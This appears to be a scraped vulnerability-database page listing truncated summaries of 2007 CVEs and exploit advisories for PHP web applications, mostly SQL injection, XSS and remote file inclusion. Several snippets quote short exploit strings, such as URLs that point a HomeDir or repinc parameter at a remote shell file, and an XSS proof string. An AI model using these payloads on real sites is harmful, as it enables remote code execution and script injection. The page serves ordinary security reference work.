CVE-2007-2548

Summary: CVE-2007-2548 concerns TurnkeyWebTools SunShop Shopping Cart 4.0 with an issue in index.php described as a vulnerability tied to cookie manipulation and a remote attack vector . The exact impact is listed as unknown in the description. The available data indicate a remote, low-complexity...

CVE-2007-2548

Unspecified vulnerability in index.php in TurnkeyWebTools SunShop Shopping Cart 4.0 has unknown impact and an l remote attack vector, related to "Cookie Manipulation."...

CVE-2007-2549

CVE-2007-2549 affects TurnKeyWebTools SunShop Shopping Cart 4.0. SQL injection in index.php via the (1) c or (2) quantity parameter allows remote attackers to execute arbitrary SQL commands. Root cause is unsanitized input in index.php that enables SQL commands to reach the database. The connecte...

CVE-2007-2527

The CVE affects DynamicPAD prior to version 1.03.31. It exposes multiple PHP remote file inclusion vulnerabilities that allow an attacker to execute arbitrary PHP code by supplying a crafted URL in the HomeDir parameter to either dp_logs.php or index.php. The underlying issue is a remote file inc...

DynamicPAD <= 1.02.18 (HomeDir) Remote File Inclusion Vulnerabilities

No description provided by source. DynamicPAD Remote file inclusion HomeDir Download script : http://dynamicpad.org/dp.tar.gz Thanks Str0ke Dork : "Powered By DynamicPAD" Exploit : http://victim.com/dppath/dplogs.php?HomeDir=shell.txt? http://victom.com/dppath/index.php?HomeDir= shell.txt?...

pfacms-rfi.txt

pfa CMS v6.0 // AYYILDIZ.ORG Gururla Sunar ! = OZELHAREKAT Author: iLker Kandemir ScriptSite: http://pfa.netsliver.com/downloadpfa Tnx: H0tturk,Ekin0x,Dumenci,Gencnesil,Gencturk,Str0ke Exploit: http://site/pfapath/index.php?repinc=http://shell.txt?...

Kayako eSupport v3.00.90 Cross Site Scripting (XSS)

Script: Kayako eSupport Version: 3.00.90 Explored By: RedCasper United Arab HaCkers Proof: Path/index.php?m="scriptalert1;/script...

PHP Coupon Script 3.0 (index.php bus) Remote SQL Injection Vulnerability

No description provided by source. ============================================== PHP Coupon Script 3.0 Remote SQL Injection ============================================== Found: Cyber-Security.org ============================================== Script site: http://www.couponscript.com/...

pnv4b-sql.txt

---------------------------------------- PostNuke Journal ---------------------------------------- DISCOVERED BY :Ali Abbasi Olom Fonon Mazandaran University - Security Research Center, Babol, Iran Greetz For All Y! UnderGround Group Members www.2600.ir Greetz For All Persian Bugtraq Members...

Sql injection

SQL injection vulnerability in index.php in FileRun 1.0 and earlier allows remote attackers to execute arbitrary SQL commands via the fid parameter...

CVE-2007-2470

Multiple cross-site scripting XSS vulnerabilities in index.php in FileRun 1.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 page, 2 module, or 3 section parameter...

CVE-2007-2470

Multiple cross-site scripting XSS vulnerabilities in index.php in FileRun 1.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 page, 2 module, or 3 section parameter...

CVE-2007-2423

Cross-site scripting XSS vulnerability in index.php in MoinMoin 1.5.7 allows remote attackers to inject arbitrary web script or HTML via the do parameter in an AttachFile action, a different vulnerability than CVE-2007-0857. NOTE: the provenance of this information is unknown; the details are...

PostNuke Module v4bJournal - SQL Injection

PostNuke Module v4bJournal - SQL Injection ---------------------------------------- PostNuke Journal ---------------------------------------- DISCOVERED BY :Ali Abbasi Olom Fonon Mazandaran University - Security Research Center, Babol, Iran Greetz For All Y! UnderGround Group Members www.2600.ir...

CVE-2007-2430

shared/code/tcetmx.php in TCExam 4.0.011 and earlier allows remote attackers to create arbitrary PHP files in cache/ by placing file contents and directory traversal manipulations into a SessionUserLang cookie to public/code/index.php...

Code injection

admin/index.php in Gregory Kokanosky phpMyNewsletter 0.8 beta5 and earlier provides access to configuration modification before login, which allows remote attackers to cause a denial of service loss of configuration data, and possibly perform direct static code injection, via a saveGlobalconfig...

CVE-2007-2370

SQL injection vulnerability in index.php in the John Mordo Jobs 2.4 and earlier module for XOOPS allows remote attackers to execute arbitrary SQL commands via the cid parameter in a jobsview action. NOTE: the module name was originally reported as Job Listings...

CVE-2007-2370

CVE-2007-2370 : Concrete details across connected documents show a SQL injection in the XOOPS Jobs module (John Mordo Jobs) for XOOPS, affecting version 2.4 and earlier. The vulnerability resides in index.php (modules/jobs/index.php) where user input in the cid parameter of a jobsview action is n...

Sphider Version 1.2.x (include_dir) file include

Sphider Version 1.2.x includedir remote file include script Vendor: http://cs.ioc.ee/ando/sphider/ Discovered by: IbnuSina found on index.php $includedir = "./include"; --- no patch here $languagedir = "./languages"; include "$includedir/indexheader.inc"; include "$includedir/conf.php"; include...

phpBandManager 0.8 (index.php pg) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== phpBandManager 0.8 index.php pg Remote File Inclusion Vulnerability ===================================================================== author:koray greetz:cigicigi.ne...